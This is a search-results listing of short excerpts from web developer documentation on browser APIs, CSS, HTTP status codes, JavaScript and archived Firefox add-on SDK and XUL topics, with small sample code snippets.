SpeechRecognition() - Web APIs
the speechrecognition() constructor creates a new speechrecognition object instance.
... syntax var myrecognition = new speechrecognition(); parameters none.
... examples this code is excerpted from our speech color changer example.
...And 2 more matches
SpeechRecognition.continuous - Web APIs
the continuous property of the speechrecognition interface controls whether continuous results are returned for each recognition, or only a single result.
... it defaults to single results (false.) syntax var mycontinuous = myspeechrecognition.continuous; myspeechrecognition.continuous = true; value a boolean representing the current speechrecognition's continuous status.
... true means continuous, and false means not continuous (single result each time.) examples this code is excerpted from our speech color changer example.
...And 2 more matches
SpeechRecognition.grammars - Web APIs
the grammars property of the speechrecognition interface returns and sets a collection of speechgrammar objects that represent the grammars that will be understood by the current speechrecognition.
... syntax var mygrammars = myspeechrecognition.grammars; myspeechrecognition.grammars = myspeechgrammarlist; value a speechgrammarlist containing the speechgrammar objects that represent your grammar for your app.
... examples this code is excerpted from our speech color changer example.
...And 2 more matches
SpeechRecognition.lang - Web APIs
the lang property of the speechrecognition interface returns and sets the language of the current speechrecognition.
... syntax var mylang = myspeechrecognition.lang; myspeechrecognition.lang = 'en-us'; value a domstring representing the bcp 47 language tag for the current speechrecognition.
... examples this code is excerpted from our speech color changer example.
...And 2 more matches
SpeechRecognition.maxAlternatives - Web APIs
the maxalternatives property of the speechrecognition interface sets the maximum number of speechrecognitionalternatives provided per speechrecognitionresult.
... syntax var mymaxalternativenumber = myspeechrecognition.maxalternatives; myspeechrecognition.maxalternatives = 2; value a number representing the maximum returned alternatives for each result.
... examples this code is excerpted from our speech color changer example.
...And 2 more matches
SpeechRecognitionErrorEvent - Web APIs
the speechrecognitionerrorevent interface of the web speech api represents error messages from the recognition service.
... properties speechrecognitionerrorevent also inherits properties from its parent interface, event.
... speechrecognitionerrorevent.error read only returns the type of error raised.
...And 2 more matches
SpeechSynthesisUtterance.text - Web APIs
the text property of the speechsynthesisutterance interface gets and sets the text that will be synthesised when the utterance is spoken.
... syntax var mytext = speechsynthesisutteranceinstance.text; speechsynthesisutteranceinstance.text = 'hello i am speaking'; value a domstring representing the text to the synthesised.
... the maximum length of the text that can be spoken in each utterance is 32,767 characters.
...And 2 more matches
SpeechSynthesisUtterance.voice - Web APIs
the voice property of the speechsynthesisutterance interface gets and sets the voice that will be used to speak the utterance.
... this should be set to one of the speechsynthesisvoice objects returned by speechsynthesis.getvoices().
... syntax var myvoice = speechsynthesisutteranceinstance.voice; speechsynthesisutteranceinstance.voice = speechsynthesisvoiceinstance; value a speechsynthesisvoice object.
...And 2 more matches
TextTrack: cuechange event - Web APIs
the cuechange event fires when a texttrack has changed the currently displaying cues.
... the event is fired at both the texttrack and at the htmltrackelement in which it's being presented, if any.
... bubbles no cancelable no interface event event handler property globaleventhandlers.oncuechange examples on the texttrack you can set up a listener for the cuechange event on a texttrack using the addeventlistener() method: track.addeventlistener('cuechange', function () { let cues = track.activecues; // array of current cues }); or you can just set the oncuechange event handler property: track.oncuechange = function () { let cues = track.activecues; // array of current cues } on the track element the underlying texttrack, indicated by the track property, receives a cuechange event every time the currently-presented cue is changed.
...And 2 more matches
TextTrackList.onchange - Web APIs
the texttracklist property onchange is an event handler which is called when the change event occurs, indicating that a change has occurred on a texttrack in the videotracklist.
... note: you can also add a handler for the change event using addeventlistener().
... syntax texttracklist.onchange = eventhandler; example this snippet establishes a handler for the change event that looks at each of the tracks in the list, calling a function to update the state of a user interface control that indicates the current state of the track.
...And 2 more matches
Touch.identifier - Web APIs
WebAPITouchidentifier
the touch.identifier returns a value uniquely identifying this point of contact with the touch surface.
... syntax touchitem.identifier; return value a long that represents the unique id of the touch object.
... example someelement.addeventlistener('touchmove', function(e) { // iterate through the list of touch points that changed // since the last event and print each touch point's identifier.
...And 2 more matches
Touch.rotationAngle - Web APIs
summary returns the rotation angle, in degrees, of the contact area ellipse defined by touch.radiusx and touch.radiusy.
...it is specified in the touch events – level 2 draft specification and not in touch events recommendation.
... syntax var angle = touchitem.rotationangle; return value angle the number of degrees of rotation to apply to the described ellipse to align with the contact area between the user and the touch surface.
...And 2 more matches
Touch.screenY - Web APIs
WebAPITouchscreenY
summary returns the y coordinate of the touch point relative to the screen, not including any scroll offset.
... syntax var y = touchitem.screeny; return value y the y coordinate of the touch point relative to the screen, not including any scroll offset.
... example the touch.screenx example includes an example of this property's usage.
...And 2 more matches
TouchEvent.ctrlKey - Web APIs
summary a boolean value indicating whether the control (control) key is enabled when the touch event is created.
... syntax var ctrlenabled = touchevent.ctrlkey; return value ctrlenabled true if the control key is enabled for this event; and false if the control is not enabled.
... example the touchevent.altkey example includes an example of this property's usage.
...And 2 more matches
TouchEvent.metaKey - Web APIs
summary a boolean value indicating whether or not the meta key is enabled when the touch event is created.
... syntax var metaenabled = touchevent.metakey; return value metaenabled true if the meta key is enabled for this event; and false if the meta is not enabled.
... example the touchevent.altkey example includes an example of this property's usage.
...And 2 more matches
TouchEvent.shiftKey - Web APIs
summary a boolean value indicating whether or not the shift key is enabled when the touch event is created.
... syntax var shiftenabled = touchevent.shiftkey; return value shiftenabled true if the shift key is enabled for this event; and false if the shift key is not enabled.
... example the touchevent.altkey example includes an example of this property's usage.
...And 2 more matches
TouchList.length - Web APIs
WebAPITouchListlength
the length read-only property indicates the number of items (touch points) in a given touchlist.
... syntax var numtouches = touchlist.length; return value numtouches the number of touch points in touchlist.
... example this code example illustrates the use of the touchlist interface's item method and the length property.
...And 2 more matches
TreeWalker.firstChild() - Web APIs
the treewalker.firstchild() method moves the current node to the first visible child of the current node, and returns the found child.
... it also moves the current node to this child.
... if no such child exists, returns null and the current node is not changed.
...And 2 more matches
TreeWalker.lastChild() - Web APIs
the treewalker.lastchild() method moves the current node to the last visible child of the current node, and returns the found child.
... it also moves the current node to this child.
... if no such child exists, returns null and the current node is not changed.
...And 2 more matches
URLSearchParams.toString() - Web APIs
the tostring() method of the urlsearchparams interface returns a query string suitable for use in a url.
...this is different from window.location.search, which includes it.
... syntax urlsearchparams.tostring() parameters none.
...And 2 more matches
WebGLRenderingContext.getAttachedShaders() - Web APIs
the webglrenderingcontext.getattachedshaders() method of the webgl api returns a list of webglshader objects attached to a webglprogram.
... syntax sequence<webglshader> gl.getattachedshaders(program); parameters program a webglprogram object to get attached shaders for.
... return value an array of webglshader objects that are attached to the given webglprogram.
...And 2 more matches
WindowOrWorkerGlobalScope.caches - Web APIs
the caches read-only property of the windoworworkerglobalscope interface returns the cachestorage object associated with the current context.
... this object enables functionality such as storing assets for offline use, and generating custom responses to requests.
... syntax var mycachestorage = self.caches; // or just caches value a cachestorage object.
...And 2 more matches
XMLHttpRequest.onreadystatechange - Web APIs
an eventhandler that is called whenever the readystate attribute changes.
...the xmlhttprequest.onreadystatechange property contains the event handler to be called when the readystatechange event is fired, that is every time the readystate property of the xmlhttprequest changes.
... warning: this should not be used with synchronous requests and must not be used from native code.
...And 2 more matches
XRInputSourcesChangeEventInit - Web APIs
the xrinputsourceschangeeventinit dictionary is used to provide options to the xrinputsourceschangeevent() constructor in order to set the initial state of the new xrinputsourceschangeevent object.
... properties added read only an array of zero or more xrinputsource objects, each representing one input device which is newly available to use.
... removed read only an array of zero or more xrinputsource objects representing the input devices which are no longer available.
...And 2 more matches
XRSession: visibilitychange event - Web APIs
the visibilitychange event is sent to an xrsession to inform it when it becomes visible or hidden, or when it becomes visible but not currently focused.
... upon receiving the event, you can check the value of the session's visibilitystate property to determine the new visibility state.
... bubbles yes cancelable no interface xrsessionevent event handler property onvisibilitychange when the xrsession receives this event, the visibility state has already been changed.
...And 2 more matches
:last-child - CSS: Cascading Style Sheets
the :last-child css pseudo-class represents the last element among a group of sibling elements.
... /* selects any <p> that is the last element among its siblings */ p:last-child { color: lime; } note: as originally defined, the selected element had to have a parent.
... syntax :last-child examples basic example html <div> <p>this text isn't selected.</p> <p>this text is selected!</p> </div> <div> <p>this text isn't selected.</p> <h2>this text isn't selected: it's not a `p`.</h2> </div> css p:last-child { color: lime; background-color: black; padding: 5px; } result styling a list html <ul> <li>item 1</li> <li>item 2</li> <li>item 3 <ul> <li>item 3.1</li> <li>item 3.2</li> <li>item 3.3</li> </ul> </li> </ul> css ul li { color: blue; } ul li:last-child { border: 1px solid red; color: red; } result specifications specification status comment selectors level 4the definition of ':last-child' in ...
...And 2 more matches
prefers-color-scheme - CSS: Cascading Style Sheets
if you have set privacy.resistfingerprinting to true, prefers-color-scheme preference is overridden to light.
...(any other value causes firefox to return light.) the prefers-color-scheme css media feature is used to detect if the user has requested the system use a light or dark color theme.
...they can be further themed according to the user's color scheme preference.
...And 2 more matches
Reason: CORS header 'Access-Control-Allow-Origin' does not match 'xyz' - HTTP
reason reason: cors header 'access-control-allow-origin' does not match 'xyz' what went wrong?
... simply put, the origin making the request does not match any of the origins permitted by the access-control-allow-origin header.
... if the service your code is accessing using a cors request is under your control, make sure that it's configured to include your origin in its access-control-allow-origin header, and that only one such header is included in responses.
...And 2 more matches
101 Switching Protocols - HTTP
WebHTTPStatus101
the http 101 switching protocols response code indicates the protocol the server is switching to as requested by a client which sent the message including the upgrade request header.
... the server includes in this response an upgrade response header to indicate the protocol it switched to.
... the process is described in detail in the article protocol upgrade mechanism.
...And 2 more matches
300 Multiple Choices - HTTP
WebHTTPStatus300
the http 300 multiple choices redirect status response code indicates that the request has more than one possible responses.
... the user-agent or the user should choose one of them.
... as there is no standardized way of choosing one of the responses, this response code is very rarely used.
...And 2 more matches
Warning: unreachable code after return statement - JavaScript
the javascript warning "unreachable code after return statement" occurs when using an expression after a return statement, or when using a semicolon-less return statement but including an expression directly after.
... message warning: unreachable code after return statement (firefox) error type warning what went wrong?
... unreachable code after a return statement might occur in these situations: when using an expression after a return statement, or when using a semicolon-less return statement but including an expression directly after.
...And 2 more matches
Atomics.exchange() - JavaScript
the static atomics.exchange() method stores a given value at a given position in the array and returns the old value at that position.
... syntax atomics.exchange(typedarray, index, value) parameters typedarray an integer typed array.
... index the position in the typedarray to exchange a value.
...And 2 more matches
RegExp.lastMatch ($&) - JavaScript
the non-standard lastmatch property is a static and read-only property of regular expressions that contains the last matched characters.
... description the lastmatch property is static, it is not a property of an individual regular expression object.
... instead, you always use it as regexp.lastmatch or regexp['$&'].
...And 2 more matches
Symbol.search - JavaScript
the symbol.search well-known symbol specifies the method that returns the index within a string that matches the regular expression.
... this function is called by the string.prototype.search() method.
... for more information, see regexp.prototype[@@search]() and string.prototype.search().
...And 2 more matches
Guide to streaming audio and video - Web media technologies
in this guide, we'll examine the techniques used to stream audio and/or video media on the web, and how you can optimize your code, your media, your server, and the options you use while performing the streaming to bring out the best quality and performance possible.
... <<<...xxxxxx...>>> protocols in addition to the configuration of the server and the streaming code, there are sometimes special protocols which can be used to optimize performance.
... hls uses playlists to allow the user to not only select the media to stream, but also to choose among versions or forms of the same media.
...And 2 more matches
<hatch> - SVG: Scalable Vector Graphics
WebSVGElementhatch
the <hatch> svg element is used to fill or stroke an object using one or more pre-defined paths that are repeated at fixed intervals in a specified direction to cover the areas to be painted.
... hatches defined by the <hatch> element can then referenced by the fill and stroke css properties on a given graphics element to indicate that the given element shall be filled or stroked with the hatch.
... paths are defined by <hatchpath> elements.
...And 2 more matches
Cross-domain Content Scripts - Archive of obsolete content
in particular, they can't: access content hosted in an iframe, if that content is served from a different domain make cross-domain xmlhttprequests however, you can enable these features for specific domains by adding them to your add-on's package.json under the "cross-domain-content" key, which itself lives under the "permissions" key: "permissions": { "cross-domain-content": ["http://example.org/", "http://example.com/"] } the domains listed must include the scheme and fully qualified domain name, and these must exactly match the domains serving the content - so in the example above, the content script will not be allowed to access content served from https://example.com/.
... cross-domain iframes the following "main.js" creates a page-worker which loads a local html file called "page.html", attaches a content script called "page.js" to the page, waits for messages from the script, and logs the payload.
... the "main.js": creates a panel whose content is supplied by "panel.html" and adds a content script "panel-script.js" to it sends the panel a "show" message when it is shown adds a button which shows the panel when it is clicked // main.js var data = require("sdk/self").data; var forecast_panel = require("sdk/panel").panel({ height: 50, contenturl: data.url("panel.html"), contentscriptfile: data.url("panel-script.js") }); forecast_panel.on("show", function(){ forecast_panel.port.emit("show"); }); require("sdk/ui/button/action").actionbutton({ id: "get-forecast", label: ...
..."get the forecast", icon: "./icon-16.png", onclick: function() { forecast_panel.show(); } }); the "panel.html" just includes a <div> block for the forecast: <!doctype html> <!-- panel.html --> <html> <head></head> <body> <div id="forecast_summary"></div> </body> </html> the "panel-script.js" uses xmlhttprequest to fetch the latest forecast: // panel-script.js var url = "http://datapoint.metoffice.gov.uk/public/data/txt/wxfcs/regionalforecast/json/500?key=your-api-key"; self.port.on("show", function () { var request = new xmlhttprequest(); request.open("get", url, true); request.onload = function () { var jsonresponse = json.parse(request.responsetext); var summary = getsummary(jsonresponse); var element = document.getelementbyid("forecast_summar...
Reddit Example - Archive of obsolete content
this example uses the action button api, which is only available from firefox 29 onwards.
... to accomplish this the add-on needs to run a content script in the context of the reddit page which intercepts mouse clicks on each title link and fetches the link's target url.
... finally, it registers a listener to the user-defined click event which in turn passes the url into the open function of the tabs module.
... if ($(t).parents('#header').length || $(t).parents('.nextprev').length) return; // intercept the click, passing it to the addon, which will load it in a tab.
SDK and XUL Comparison - Archive of obsolete content
advantages of the sdk simplicity the sdk provides high-level javascript apis to simplify many common tasks in add-on development, and tool support which greatly simplifies the process of developing, testing, and packaging an add-on.
... we've designed the apis to be forward-compatible with the new multiple process architecture (codenamed electrolysis) planned for firefox.
...using only the sdk's supported apis you have much more limited options for your ui.
... alternatively, you can load third-party modules, which extend the sdk's core apis.
clipboard - Archive of obsolete content
var clipboard = require("sdk/clipboard"); if (clipboard.currentflavors.indexof("html") != -1) require("sdk/tabs").open("data:text/html;charset=utf-8," + clipboard.get("html")); set the clipboard contents to an image.
... parameters datatype : string retrieve the clipboard contents only if matching this type (optional).
... the function will return null if the contents of the clipboard do not match the supplied type.
...this property is an array contains all types in which the data currently on the clipboard is available.
preferences/event-target - Archive of obsolete content
listen to changes to the preferences system in firefox.
... this enables add-ons to listen to change events to the system-wide settings.
... globals constructor prefstarget(options) parameters options : object required options: name type branchname string by default this is "", the root.
... example var { prefstarget } = require("sdk/preferences/event-target"); // listen to the same branch which reqire("sdk/simple-prefs") does var target = prefstarget({ branchname: "extensions." + require("sdk/self").preferencesbranch + "." }); target.once("test", function(prefname) { console.log(prefname) // logs "test" console.log(target.prefs[name]) // logs true }); target.once("", function() { console.log(prefname) // logs "test" console.log(target.prefs[name]) // logs true }) // changing a pref which our target listens to require("sdk/simple-prefs").prefs.test = true; ...
system/xul-app - Archive of obsolete content
experimental information about the application on which your add-on is running.
... with the exception of ids, each of these properties exposes the attribute of the same name on the nsixulappinfo interface.
... globals functions is(name) checks whether the host application is the given application.
... isoneof(names) checks whether the host application is one of the given applications.
console - Archive of obsolete content
try { dothing(); } catch (e) { console.exception(e); } function userexception(message) { this.message = message; this.name = "userexception"; } function dothing() { throw new userexception("thing could not be done!"); } error: my-addon: an exception occurred.
...the console defines a number of logging levels, from "more verbose" to "less verbose", and a number of different logging functions that correspond to these levels, which are arranged in order of "severity" from informational messages, through warnings, to errors.
... the complete set of logging levels is given in the table below, along with the set of functions that will result in output at each level: level will log calls to: all any console method debug debug(), error(), exception(), info(), log(), time(), timeend(), trace(), warn() info error(), exception(), info(), log(), time(), timeend(), trace(), warn() warn error(), exception(), warn() error error(), exception() off nothing setting the log...
...the value for each preference is the desired logging level, given as a string.
List Open Tabs - Archive of obsolete content
to access tab content, you need to attach a script to the tab using tab.attach().
... this add-on attaches a script to all open tabs.
... the script adds a red border to the tab's document: require("sdk/ui/button/action").actionbutton({ id: "list-tabs", label: "list tabs", icon: "./icon-16.png", onclick: listtabs }); function listtabs() { var tabs = require("sdk/tabs"); for (let tab of tabs) runscript(tab); } function runscript(tab) { tab.attach({ contentscript: "document.body.style.border = '5px solid red';" }); } learning more to learn more about working with tabs in the sdk, see the tabs api reference.
... to learn more about running scripts in tabs, see the tutorial on using tab.attach().
Open a Web Page - Archive of obsolete content
to open a new web page, you can use the tabs module: var tabs = require("sdk/tabs"); tabs.open("http://www.example.com"); this function is asynchronous, so you don't immediately get back a tab object which you can examine.
... to access tab content you need to attach a script to the tab using tab.attach().
... this add-on loads a page, then attaches a script to the page which adds a red border to it: var tabs = require("sdk/tabs"); tabs.open({ url: "http://www.example.com", onready: runscript }); function runscript(tab) { tab.attach({ contentscript: "document.body.style.border = '5px solid red';" }); } learning more to learn more about working with tabs in the sdk, see the tabs api reference.
... to learn more about running scripts in tabs, see the tutorial on using tab.attach().
Alerts and Notifications - Archive of obsolete content
basic modal alert alert('hello'); pop-ups the following code presents a non-modal pop-up, which automatically disappears after an appropriate delay.
...this works on windows, linux and (if growl is installed) mac os x: function popup(title, text) { try { components.classes['@mozilla.org/alerts-service;1'] .getservice(components.interfaces.nsialertsservice) .showalertnotification(null, title, text, false, '', null); } catch(e) { // prevents runtime error on platforms that don't implement nsialertsservice } } if you need to display a comparable alert on a platform that doesn't support nsialertsservice, you can do this: function popup(title, msg) { var image = null; var win = components.classes['@mozilla.org/embedcomp/window-watcher;1'] .getservice(components.interfaces.nsiwindowwatcher) .openwindow(null, 'chrome://global/co...
...ntent/alerts/alert.xul', '_blank', 'chrome,titlebar=no,popup=yes', null); win.arguments = [image, title, msg, false, '']; } using notification box another way of non-modal notification and further interaction with users is using of xul elements notificationbox and notification (implicitly).
...; var notification = box.getnotificationwithvalue('popup-blocked'); if (notification) { notification.label = message; } else { var buttons = [{ label: 'button', accesskey: 'b', popup: 'blockedpopupoptions', callback: null }]; let priority = box.priority_warning_medium; box.appendnotification(message, 'popup-blocked', 'chrome://browser/skin/info.png', priority, buttons); } ...
Boxes - Archive of obsolete content
wrapping contents in html you can use a div as a container and when the div changes size, the contents will wrap or adjust the layout.
...however, you can easily add this capability with a style change.
... make the box style="display: block" and the wrapping behavior will occur when the box is resized: <?xml version="1.0"?> <?xml-stylesheet href="chrome://global/skin/" type="text/css"?> <window id="yourwindow" xmlns="http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul"> <hbox style="display: block"> <label value="aaa"/> <label value="bbb"/> <label value="ccc"/> <label value="ddd"/> <label value="eee"/> <label value="fff"/> <label value="ggg"/> <label value="hhh"/> <label value="iii"/> <label value="jjj"/> <label value="kkk"/> <label value="lll"/> <label value="mmm"/> <label value="nnn"/> <label value="ooo"/> <label value="ppp"/> <label value="qqq"/> <label value="rrr"/> <label value="sss"/> <label value="ttt"/> <label value="uuu"/> <labe...
...this keeps the image from stretching inside the box: <?xml version="1.0"?> <?xml-stylesheet href="chrome://global/skin/" type="text/css"?> <window xmlns="http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul"> <box align="start" style="display:block"> <image src="chrome://global/skin/icons/error.png" style="padding:5px"/> <textbox /> <image src="chrome://global/skin/icons/error.png" style="padding:5px"/> <button label="hello"/> <image src="chrome://global/skin/icons/error.png" style="padding:5px"/> </box> </window> ...
getAttributeNS - Archive of obsolete content
while namespaced attributes are less common than namespaced elements, some standards such as xlink depend on them.
....org/xml/1998/namespace') { // this is assumed so don't try to get an xmlns for the 'xml' prefix return thisitem.getattribute('xml:'+nsatt); // prefix must be 'xml' per the specs } var attrs2, result; var attrs = thisitem.attributes; var prefixatt = new regexp('^(.*):'+nsatt.replace(/\./g, '\\.')+'$'); // e.g., xlink:href // find any prefixes with the local-name being searched (escape period since only character (besides colon) allowed in an xml name which needs escaping) for (var j = 0; j < attrs.length; j++) { // thisitem's atts // e.g., abc:href, xlink:href while (((result = prefixatt.exec(attrs[j].nodename)) !== null) && thisitem.nodename !== '#document' && thisitem.nodename !== '#document-fragment') { var xmlnsprefix ...
...= new regexp('^xmlns:'+result[1]+'$'); // e.g., xmnls:xl, xmlns:xlink // check higher up for xmlns:prefix // check the current node and if necessary, check for the next matching local name up in the hierarchy (until reaching the document root) while (thisitem.nodename !== '#document' && thisitem.nodename !== '#document-fragment') { attrs2 = thisitem.attributes; for (var i = 0; i < attrs2.length; i++) { // search for any prefixed xmlns declaration on thisitem which match prefixes found above with desired local name if (attrs2[i].nodename.match(xmlnsprefix) && attrs2[i].nodevalue === ns ) { // e.g., 'xmlns:xlink' and 'http://www.w3.org/1999/xlink' return attrs[j].nodevalue; ...
...on current element, conditionally on whether its prefix matches a declared namespace see also http://www.w3.org/tr/dom-level-3-cor...mespaceurialgo ...
Code snippets - Archive of obsolete content
nevertheless, the increasing computational power of modern browsers together with the introduction of typed arrays in ecmascript allow us, in theory, to build full virtual machines in pure ecmascript.
... browser-oriented code tabbed browser code (firefox/seamonkey) basic operations, such as page loading, with the tabbed browser, which is the heart of mozilla's browser applications cookies reading, writing, modifying, and removing cookies page loading code used to load pages, reload pages, and listen for page loads interaction between privileged and non-privileged code how to communicate from extensions to websites and vice-versa.
...rks javascript debugger service code used to interact with the javascript debugger service svg general general information and utilities svg animation animate svg using javascript and smil svg interacting with script using javascript and dom events to create interactive svg embedding svg in html and xul using svg to enhance html or xul based markup xul widgets html in xul for rich tooltips dynamically embed html into a xul element to attain markup in a tooltip label and description special uses and line breaking examples tree setup and manipulation of trees using xul and js scrollbar changing style of scrollbars.
... using the windows registry with xpcom how to read, write, modify, delete, enumerate, and watch registry keys and values.
Multiple item extension packaging - Archive of obsolete content
a multiple item package provides the ability to package multiple installable bundles which can then be downloaded and installed by a user, or provided pre-packaged with an application or by an external program.
...if this is not done, any items that are not compatible will not be installed unless a compatibility check discovers updated compatibility information.
...extension / theme manager) is used, the manager will display the individual items contained by the multiple item package after the download completes in the same manner that it would if the user had chosen to install multiple individual items simultaneously.
...lable bundles, including extensions, themes, and xulrunner applications extension packaging: specific information about how to package extensions theme packaging: specific information about how to package themes multiple-item extension packaging: specific information about multiple-item extension xpis xul application packaging: specific information about how to package xulrunner applications chrome registration ...
Signing an extension - Archive of obsolete content
the certificate which the author purchased from verisign was directly installed to firefox.
... sign the basic usage of the signing tool is as follows: nss-signtool \ -d (path to the directory that contains your certificate database files) \ -k (your certificate nickname) \ -p (your certificate password) \ -x -z (output path/name of signed file) \ (path to your extension working directory that contains chrome directory, chrome.manifest file, install.rdf file, etc.) writing your password directly in the script is dangerous.
... for production, use such a code: echo "enter password for object signing:" read mypassword nss-signtool \ -d /volumes/codesign/keystore \ -k "my company's verisign, inc.
...please check the terms of service.
XML data - Archive of obsolete content
other technologies can modify the structure of the display—for example, xbl can add content, and javascript can modify the dom.
... notes about this demonstration: the superscript 2 (in "million km²") a unicode character, coded as \b2 in the css file.
... challenge change the stylesheet so that it displays the document as a table.
... (see the tables chapter in the css specification for examples that you can adapt.) what next?
Monitoring WiFi access points - Archive of obsolete content
<html> <head> <title>wifi monitor example</title> <script> var count = 0; function test() { } test.prototype = { onchange: function (accesspoints) { netscape.security.privilegemanager.enableprivilege('universalxpconnect'); var d = document.getelementbyid("d"); d.innerhtml = ""; for (var i=0; i<accesspoints.length; i++) { var a = accesspoints[i]; d.innerhtml += "<p>" + a.mac + " " + a.ssid + " " + a.signal + "</p>"; } var c = document.getelementbyid("c"); c.innerhtml = ...
... iid.equals(components.interfaces.nsisupports)) return this; throw components.results.ns_error_no_interface; }, } netscape.security.privilegemanager.enableprivilege('universalxpconnect'); var listener = new test(); var wifi_service = components.classes["@mozilla.org/wifi/monitor;1"].getservice(components.interfaces.nsiwifimonitor); wifi_service.startwatching(listener); </script> </head> <body> <div id="d"><p></p></div> <div id="c"><p></p></div> </body> </html> the nsiwifilistener object the first thing the code above does is to prototype the listener object that will be receiving notifications of changes to the access point list.
...the onchange() method (lines 13 through 27) begins by enabling universalxpconnect privileges, then clearing out the div (d) that will receive the updated list of access points.
...the monitoring is started up on line 47, by calling the wifi monitoring service's startwatching() method.
Same-origin policy for file: URIs - Archive of obsolete content
for example, if you have a file foo.html which accesses another file bar.html and you have navigated to it from the file index.html, the load will succeed only if bar.html is either in the same directory as index.html or in a directory contained within the same directory as index.html.
... this policy affects anything that does same-origin checks, including xmlhttprequest, xslt, and xbl.
... for cross-window dom access, each file is treated as a separate origin, with one exception: if a file is loaded from another file that would otherwise be able to load it following this same-origin policy, they are considered to have the same origin.
...the new security.fileuri.strict_origin_policy preference, which defaults to true, can be set to false if the user doesn't want to strictly enforce the same origin policy on file: uris.
How Mozilla finds its configuration files - Archive of obsolete content
how mozilla finds its configuration files mozilla looks into the binary %userprofile%\application data\mozilla\registry.dat file for its "registry", which contains, amongst other information, a pointer to the directory where the profile is stored (located at common/profiles/profilename/directory.
... the value contained in this key is a litteral value, no variables (such as %userprofile%/mozprofile) allowed.
... we chose to point this to the user's home directory (h:\mozilla).
...mozilla includes a profile manager, but unfortunately this always include a random part (salt) into the profile's filename, and thus cannot be used to point mozilla to a profile of the our chosing.
Specifying the appearance - Archive of obsolete content
now that we have defined a panel in which to display an icon, we use css to specify which icon to display.
... for this we have to first create four icons, one for each tinderbox state (none, success, test failed, and busted), then create a set of css rules that displays the icon corresponding to the current tinderbox state: statusbarpanel#tinderbox-status { list-style-image: url("chrome://navigator/content/tb-nostatus.png"); } statusbarpanel#tinderbox-status[status="success"] { list-style-image: url("chrome://navigator/content/tb-success.png"); } statusbarpanel#tinderbox-status[status="testfailed"] { list-style-image: url("chrome://navigator/content/tb-testfailed.png"); } statusbarpanel#tinderbox-status[status="busted"] { list-style-image: url("chrome://navigator/content/tb-busted.png"); } mozilla can have multiple sets of stylesheets that govern its appearance, and we don't want to hav...
...e to add these rules to each set (and have our extension break when a new set gets installed), so we'll put this stylesheet in a file called tinderstatus.css in the same directory as navigator.xul and reference it at the top of that file right under the global stylesheet reference: <?xml-stylesheet href="chrome://navigator/skin/" type="text/css"?> <?xml-stylesheet href="chrome://navigator/content/tinderstatus.css" type="text/css"?> our css rules use the list-style-image property to define an image to appear when our status bar panel, identified by its id attribute, has a given value for its status attribute.
... there is one rule for each possible tinderbox state.
Creating a hybrid CD - Archive of obsolete content
many mozilla files have long file names which makes creating the cd on a macintosh difficult because the hfs filesystem limits the length of file names to 32 characters.
...it is used as the creator type for readme and other text files because it can handle unix and windows linebreaks, but teachtext cannot.
...i 'cwie' 'text' "c++ source file" .exp ascii 'cwie' 'text' "symbol export file" .mcp raw 'cwie' 'mmpr' "codewarrior project file" .r ascii 'mps ' 'text' "rez file" .html ascii 'moss' 'text' "html file" .htm ascii 'moss' 'text' "html file" .txt ascii 'moss' 'text' "text file" readme ascii 'moss' 'text' "text file" changes ascii 'moss' 'text' "text file" install ascii 'moss' 'text' "text file" license ascii 'moss' 'text' "text file" .gif raw 'ogle' 'giff' "gif file" .png raw 'ogle' 'png ' "png file" .jpg raw 'ogle' 'jpeg' "jpeg file" .jpeg raw 'ogle' 'jpeg' "jpeg file" .pl ascii 'mcpl' 'text' "perl file" .pm ascii 'mc...
...pl' 'text' "perl module file" .xml ascii 'r*ch' 'text' "xml file" .xul ascii 'r*ch' 'text' "xul file" .xbl ascii 'r*ch' 'text' "xbl file" .css ascii 'r*ch' 'text' "css file" .dtd ascii 'r*ch' 'text' "dtd file" .js ascii 'r*ch' 'text' "javascript file" .mp3 raw 'tvod' 'mpg3' "mpeg file" .mpg raw 'tvod' 'mpeg' "mpeg file" .mpeg raw 'tvod' 'mpeg' "mpeg file" .au raw 'tvod' 'ulaw' "audio file" * ascii 'ttxt' 'text' "text file" for more information about recording cds, see the cd-recordable faq.
FAQ - Archive of obsolete content
every time there is a major change made to the interface, either visible or behind the scenes, your skin will have problems.
... when the mozilla developers make changes like this, they increase the skin version number.
...if a message appears in the preferences window telling you that it's an old skin, you're going to have to look over the code to see what changed.
... developers try to keep changes like this to a minimum, but sometimes it just can't be helped.
Dehydra Frequently Asked Questions - Archive of obsolete content
for crashes reports attach a minimized input file.
...please see static checking scripts on mozilla-central.
...please see building with static checking for more information about static checking builds in mozilla.
... does dehydra provide any adts such as map/set?
Layout FAQ - Archive of obsolete content
mozilla.dev.tech.layout faq is there a way to do profiling of what is going on in mozilla?
...what is the best way to determine whether there are any pending changes?
... on the reflow branch you could check the dirty and dirty_children framestate flags.
... that won't help with pending style changes, but it'll work to detect cases when the popup or something in it needs to be reflown.
GRE Registration - Archive of obsolete content
this information is stored differently on each operating system.
... this document describes the registration mechanism.
... windows on windows, gre registration information is kept in the win32 registry under the hkey_local_machine/software/mozilla.org/gre and hkey_current_user/software/mozilla.org/gre keys.
... each subkey is searched for gre registration information: hklm/software/mozilla.org/gre/1.8_1 version=1.8 grehome=c:\path\to\installed-dir feature=value feature2=value2 hklm/software/mozilla.org/gre/1.8_2 version=1.8 grehome=c:\path\to\second-installation when installing a gre via the mozilla suite gre installer, the installer will blindly overwrite any previous gre information in hklm/software/mozilla.org/gre/<version>.
Simple Storage - Archive of obsolete content
note: this page documents the jetpack prototype, which is no longer under active development.
...jetpack.storage.simple is a single, persistent javascript object private to each jetpack.
...examples this code persistently stores some data: jetpack.future.import("storage.simple");var mystorage = jetpack.storage.simple;mystorage.fribblefrops = [1, 3, 3, 7];mystorage.heimelfarbs = { bar: "baz" }; and this code -- pretend it's in the same jetpack as the code above -- simply uses that data: mystorage.fribblefrops.foreach(function (elt) console.log(elt));var bar = mystorage.heimelfarbs.bar;jetpack.notifications.show(bar.baz); that's all there is to it!
... we'll add a notes menu with// a submenu, which lists all the notes.
BundleLibrary - Archive of obsolete content
aol email : aolemail.webapp bbc radio player bbcradioplayer.webapp bloglines : bloglines.webapp bloglines beta: beta.bloglines.webapp chandler: chandler.webapp flash earth (integrates all major mapping sites) flashearth.webapp flickr: flickr.webapp gollum wikipedia browser in english:gollum_en.webapp google notebook: gnote.webapp google page creator: google_pagecreator.webapp google reader + gtalk : prism-bundle-google-reader-with-gtalk.webapp google webmaster tools: google_webmastertools.webapp grandcentral inbox: grandc.webapp (...
